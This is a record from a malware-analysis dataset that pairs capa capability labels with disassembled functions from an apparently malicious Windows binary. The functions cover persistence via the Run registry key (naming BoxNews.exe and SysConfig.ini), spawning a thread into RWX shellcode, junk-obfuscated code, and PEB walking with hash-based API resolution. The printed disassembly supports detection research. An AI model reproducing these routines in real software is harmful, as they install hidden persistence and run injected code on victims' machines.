joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404220
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x41c024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x90]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404320
mov edx, dword [0x41df40]
push edi
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x88], al
mov eax, dword [edx + 4]
mov dword [ebp - 0x8c], ecx
mov ecx, dword [esi]
push eax
push ecx
push str.__s_s___mini
lea edi, [ebp - 0x8c]
call fcn.00403350
lea edx, [ebp - 0x44]
push 4
mov eax, edx
push str.fmol
push eax
mov dword [ebp - 0x48], edx
mov byte [ebp - 0x44], 0
call fcn.00409387
mov ecx, dword [ebp - 0x48]
mov byte [ecx + 4], 0
mov edx, dword [esi + 0x54]
add esp, 0x18
push edx
lea eax, [ebp - 0x48]
call fcn.00402d80
mov edx, dword [ebp - 0x8c]
mov eax, edx
lea esi, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4042c7
mov ecx, dword [ebp - 0x90]
sub eax, esi
push eax
mov eax, dword [ebp - 0x48]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
cmp eax, ecx
je 0x404307
push eax
call fcn.004093a1
add esp, 4
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x88]
cmp eax, edx
je 0x404320
push eax
call fcn.004093a1
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00408b8e
mov esp, ebp
pop ebp
ret
Function at 0x404330
Capabilities:
Persist via run registry key
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x41c024]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x138]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404505
push esi
push edi
mov edi, dword [ebx]
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xac], eax
mov byte [ebp - 0xa8], 0
test edi, edi
jne 0x404389
mov edi, 0x41840e
mov ecx, edi
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x404390
sub ecx, esi
mov esi, ecx
cmp esi, 0x3f
jl 0x4043be
lea ecx, [esi + 1]
push ecx
push 0
mov dword [ebp - 0xac], 0
call fcn.00409671
add esp, 8
mov dword [ebp - 0xac], eax
push esi
push edi
push eax
call fcn.00409387
mov edx, dword [ebp - 0xac]
add esp, 0xc
push str.SysConfig.ini
lea eax, [ebp - 0xac]
mov byte [esi + edx], 0
call fcn.00402d80
mov eax, dword [ebp - 0xac]
push eax
push 0x63
lea ecx, [ebp - 0x68]
push ecx
push str.BoxNews.exe
push str.RunSetup
push str.SysConfig
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebx]
lea eax, [ebp - 0x68]
push eax
push ecx
lea edx, [ebp - 0x130]
push str.__s_s___mini
lea edi, [ebp - 0x134]
mov dword [ebp - 0x134], edx
mov byte [ebp - 0x130], 0
call fcn.00403350
lea edx, [ebp - 0xec]
push 4
mov eax, edx
push str.fmol
push eax
mov dword [ebp - 0xf0], edx
mov byte [ebp - 0xec], 0
call fcn.00409387
mov ecx, dword [ebp - 0xf0]
add esp, 0x18
push str._News
lea eax, [ebp - 0xf0]
mov byte [ecx + 4], 0
call fcn.00402d80
mov edx, dword [ebx + 0x54]
push edx
lea eax, [ebp - 0xf0]
call fcn.00402d80
mov edx, dword [ebp - 0x134]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404488
mov ecx, dword [ebp - 0x138]
sub eax, esi
push eax
mov eax, dword [ebp - 0xf0]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xf0]
lea ecx, [ebp - 0xec]
pop edi
pop esi
cmp eax, ecx
je 0x4044d3
push eax
call fcn.004093a1
add esp, 4
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
cmp eax, edx
je 0x4044ec
push eax
call fcn.004093a1
add esp, 4
mov eax, dword [ebp - 0xac]
lea ecx, [ebp - 0xa8]
cmp eax, ecx
je 0x404505
push eax
call fcn.004093a1
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408b8e
mov esp, ebp
pop ebp
ret
Function at 0x406770
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406777
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x40684d
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419b20]
add ecx, 8
sub edx, 8
dec esi
jne 0x406790
pop edi
test edx, edx
je 0x40686a
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x419b20]
inc ecx
dec edx
jne 0x406851
not eax
pop esi
ret

Function at 0x406f30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ebx
imul esi, dword [ebp + 0xc]
cmp byte [edi], 0
je 0x406f66
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406f5c
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
xor edx, edx
div ebx
pop esi
pop ebp
ret
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0x14]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x406f77
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x10]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.0040f330
add dword [edi + 0x18], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop esi
pop ebp
ret

Function at 0x406fa0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x406fd3
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 1]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406fce
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x406ffe
mov eax, dword [esi + 0x14]
push ebx
mov ebx, dword [esi + 0x18]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x406fe5
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0x10]
push edi
add edx, ebx
push edx
lea eax, [ebp - 1]
push eax
call fcn.0040f330
add esp, 0xc
add ebx, edi
mov dword [esi + 0x18], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x407013
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x40700d
cmp byte [esi + 8], 0
je 0x40700d
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x4070b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [esi], 0
je 0x4070f7
cmp byte [esi + 1], 0
je 0x4070ff
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebx
je 0x407111
cmp byte [esi + 1], 0
je 0x407105
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
sub ebx, dword [esi + 0xc]
mov dword [ebp - 4], ebx
jmp 0x407119
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], ecx
jmp 0x4070d1
xor eax, eax
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 4]
jmp 0x407119
mov eax, dword [esi + 0x18]
mov dword [ebp - 4], eax
mov ebx, eax
push edi
mov edi, 0xffff
mov dword [ebp - 8], edi
cmp ebx, edi
jae 0x40712b
mov dword [ebp - 8], ebx
mov edi, ebx
push 0x404
call fcn.004093db
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x407145
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x14], 0
cmp edi, eax
jbe 0x407259
jmp 0x407169
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 0xc], edi
cmp eax, edi
ja 0x407178
mov dword [ebp - 0xc], eax
mov eax, ebx
sub eax, dword [ebp - 0xc]
sub ebx, eax
mov dword [ebp - 0x1c], eax
cmp ebx, 0x404
jbe 0x40718f
mov ebx, 0x404
cmp byte [esi], 0
je 0x4071b4
cmp byte [esi + 1], 0
je 0x407259
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4071b7
mov dword [esi + 0x18], eax
cmp byte [esi], 0
mov edi, ebx
je 0x4071e0
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4071db
mov byte [esi + 8], 1
mov eax, dword [ebp - 0x18]
jmp 0x407209
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x14]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x4071f1
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x10]
mov edx, dword [ebp - 0x10]
push edi
add ecx, eax
push ecx
push edx
call fcn.0040f330
add esp, 0xc
add dword [esi + 0x18], edi
mov eax, edi
xor edx, edx
div ebx
cmp eax, 1
jne 0x407259
lea eax, [ebx - 3]
test eax, eax
jle 0x40724d
lea esp, [esp]
mov ecx, dword [ebp - 0x10]
dec eax
cmp byte [eax + ecx], 0x50
jne 0x40723f
cmp byte [eax + ecx + 1], 0x4b
jne 0x40723f
cmp byte [eax + ecx + 2], 5
jne 0x40723f
cmp byte [eax + ecx + 3], 6
je 0x407245
test eax, eax
jg 0x407220
jmp 0x40724d
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jne 0x407259
mov edx, dword [ebp - 8]
cmp dword [ebp - 0xc], edx
jb 0x407160
mov eax, dword [ebp - 0x10]
push eax
call fcn.004093a1
mov eax, dword [ebp - 0x14]
add esp, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408b8e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c024]
jne 0x408b98
repz ret
jmp fcn.0040a0ce

Function at 0x40e3f5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a4cb
and dword [ebp - 0x14], 0
cmp dword [0x41de78], 0
mov dword [ebp - 0x18], eax
jne 0x40e4a8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e550
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e550
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41de78], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41de7c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41de80], eax
call edi
push eax
call esi
mov dword [0x41de88], eax
test eax, eax
je 0x40e4a8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41de84], eax
mov eax, dword [0x41de84]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e501
cmp dword [0x41de88], ecx
je 0x40e501
push eax
call esi
push dword [0x41de88]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e501
test ebx, ebx
je 0x40e501
call edi
test eax, eax
je 0x40e4f8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e4f8
test byte [ebp - 8], 1
jne 0x40e501
or dword [ebp + 0x10], 0x200000
jmp 0x40e534
mov eax, dword [0x41de7c]
cmp eax, dword [ebp - 0x18]
je 0x40e534
push eax
call esi
test eax, eax
je 0x40e534
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e534
mov eax, dword [0x41de80]
cmp eax, dword [ebp - 0x18]
je 0x40e534
push eax
call esi
test eax, eax
je 0x40e534
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41de78]
call esi
test eax, eax
je 0x40e550
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e552
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408b8e
leave
ret
Function at 0x40647b
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x468040
mov esi, eax
push edi
call fcn.00404d0d
push ebx
push edi
push esi
call fcn.0040b620
add esp, 0x14
call fcn.00404cf3
push ebp
push ebp
push 0x436040
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x41f9b5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f657

Function at 0x41f9c0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f7e6

Function at 0x41fdba
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040b5d0
mov eax, dword [0x468500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041cfc4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41fdfc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41ff58
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00429c70
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x46a160]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00420f8a
mov ecx, dword [esi*4 + 0x46a160]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41ff51
cmp eax, dword [edi + ecx + 0x24]
jne 0x41ff51
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ff51
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00420f8a
add esp, 0x14
test edx, edx
jl 0x41ff51
jg 0x41fec7
test eax, eax
jb 0x41ff51
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41ff51
jl 0x41fee1
cmp dword [ebp - 0x1008], eax
ja 0x41ff51
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41feff
test ebx, ebx
je 0x41ff38
cmp ecx, edi
jae 0x41ff38
mov al, byte [ecx]
cmp al, 0xd
jne 0x41ff19
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41ff25
cmp byte [ecx + 1], 0xa
jne 0x41ff25
inc ecx
jmp 0x41ff25
movzx eax, al
movsx eax, byte [eax + 0x4687c8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41feff
cmp edx, ebx
jne 0x41feff
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41ff56
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a7e8
leave
ret
Function at 0x420428
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x46a160]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x420468
cmp byte [ebx], 0xa
jne 0x420468
or byte [eax + edi + 0x28], 4
jmp 0x42046d
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x42056b
mov al, byte [edx]
cmp al, 0x1a
je 0x42054d
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x42049c
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4204c1
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4204cb
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x42047e
jmp 0x42056b
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420548
cmp dword [ebp - 0xc], 0
je 0x420548
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x46a160]
test byte [eax + edi + 0x28], 0x48
je 0x420522
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42050d
mov byte [esi], dl
jmp 0x42051e
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46a160]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42056b
cmp byte [ebp - 1], 0xa
jne 0x420531
cmp esi, ebx
jne 0x420531
mov byte [esi], 0xa
jmp 0x42056a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00420fa8
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42056b
mov byte [esi], 0xd
jmp 0x42056a
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x46a160]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420567
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42056b
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x420574
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x46a160]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4205b7
cmp word [esi], dx
jne 0x4205b7
or byte [edi + eax + 0x28], 4
jmp 0x4205bc
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x42070f
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4206ef
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4205fe
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x420634
cmp eax, edx
jae 0x420640
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4205d6
jmp 0x42070f
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4206eb
cmp dword [ebp - 0x14], 0
je 0x4206eb
mov eax, dword [ebx*4 + 0x46a160]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4206c3
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x42068c
mov word [esi], cx
jmp 0x4206bf
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x46a160]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x46a160]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x46a160]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x42070f
pop ebx
cmp word [ebp - 4], bx
jne 0x4206d4
cmp esi, dword [ebp + 0xc]
jne 0x4206d4
mov word [esi], bx
jmp 0x42070c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00420fa8
add esp, 0x10
cmp word [ebp - 4], bx
je 0x42070f
push 0xd
jmp 0x420708
mov ecx, dword [ebx*4 + 0x46a160]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420706
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42070f
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x19d566e
Capabilities:
Hash data with crc32

Disassembly:
xor al, cl
cmp esp, 0x2a4a46b6
clc
mov cl, ch
cmp dx, ax
mov ch, dl
cmc
test bl, 0x54
test dx, dx
mov dl, dh
clc
mov dh, 8
shr bx, 1
jmp 0x1a0dfb6
lea edi, [ebp - 8]
lodsd eax, dword [esi]
stc
add eax, dword [ebp + 0xc]
movzx ebx, bx
seta bl
mov bx, 0x517
stosd dword es:[edi], eax
bswap ebx
xchg bh, bh
jmp 0x1a0b493
dec edi
jne 0x1a227ed
not edx
movzx ax, ch
not ecx
clc
mov eax, edx
bt edx, esp
ror dl, 0x91
rol eax, 0x10
rol edx, 0xa8
rcl al, cl
neg dl
mov ax, cx
cmp edx, ecx
pop edx
cmp edx, eax
je 0x19ef6fc
pop esi
add esi, 4
test ebp, 0x3eeb414a
add dword [ebp - 4], 1
jmp 0x19ecabb
push ebp
mov ebp, esp
setp al
stc
lea esp, [esp - 4]
bsr ax, bx
mov dword [ebp - 4], 0
btc eax, 0xd7
shl ax, 0xe2
add esp, 0xffffffec
push esi
shl ah, cl
cmp ch, ah
push ebx
push edi
btr ebx, 0xd0
push edx
xadd bh, bl
clc
push ecx
bt edi, 0xa0
xor esi, esp
mov eax, dword [ebp + 0x10]
cmp di, si
shrd bx, ax, 0x98
sub edx, edx
bts si, si
xchg edx, eax
mov esi, 0x3c
ror bh, 0xc1
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
neg ebx
add eax, dword [ebp + 0xc]
sal di, 0xe3
cmp sp, 0x1b4
mov esi, dword [eax + 0x78]
add esi, 0x18
shld di, bx, 0x92
add esi, dword [ebp + 0xc]
btr di, 0xed
mov eax, dword [esi]
bsf di, di
rcr bx, cl
mov dword [ebp - 0x14], eax
bsf eax, esi
btc edi, edi
add esi, 4
jmp 0x19d0cfa
xor edx, ebx
jmp 0x19d423c
jmp 0x1a0b4e9
pop esi
rdtsc
mov eax, dword [ebp - 4]
clc
shl eax, 1
add eax, dword [ebp - 0x10]
btr di, bx
bts di, bp
xor esi, esi
xchg esi, eax
btc edx, 0x27
mov ax, word [esi]
sbb cl, 0x7a
shl dh, cl
btc edx, 0xbb
shl ax, 2
add eax, dword [ebp - 8]
movsx edx, cx
rcr dh, 0xe9
cmp sp, 0x79db
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dx, 0x6d2b
pop ecx
movzx edx, dx
bswap ebx
mov edi, 0x75d9698c
pop edx
pop edi
bswap si
pop ebx
pop esi
mov dword [ebp - 4], eax
movzx ax, al
mov eax, dword [ebp - 4]
jmp 0x19ac748
mov dword [ebp - 8], eax
bswap ax
movsx ax, dh
lodsd eax, dword [esi]
sal bx, cl
or ebx, 0x89d1055
test edx, 0x1c7e31f7
add eax, dword [ebp + 0xc]
movsx ebx, bp
setns bl
push eax
movzx ebx, si
movzx bx, ah
mov ebx, esi
stosd dword es:[edi], eax
sar bx, 0x8d
test ax, 0x5b82
bsf bx, di
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
neg si
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
shr eax, 0xff
rcl ebx, 0xc7
push esi
mov eax, dword [esi]
and bx, 0x432e
bswap ebx
xor ebx, esp
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
cmc
push edi
cmc
sub al, al
cmp esp, 0x262434a2
cmp ax, sp
scasb al, byte es:[edi]
jmp 0x1a227d6
rcr ax, 1
jmp 0x1a27aba
jne 0x1a0b509
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
cmovle dx, dx
dec ecx
xchg edx, edx
mov edx, ecx
clc
sub eax, eax
sbb al, cl
xor ebx, ebx
mov al, 0x70
lodsb al, byte [esi]
stc
jmp 0x19bcbbf
jae 0x1a27aca
xor ax, 0x8320
stc
xor bx, 0xedb8
dec dh
jne 0x19bcbdb
xor ecx, eax
jmp 0x19dffbc
Function at 0x19fea5a
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
cld
ror ch, cl
shld ecx, eax, 0xac
xor esi, edx
xor edx, edx
mov edx, dword fs:[edx + 0x30]
bt si, ax
mov edx, dword [edx + 0xc]
cmp dx, bp
mov edx, dword [edx + 0x14]
bts si, bx
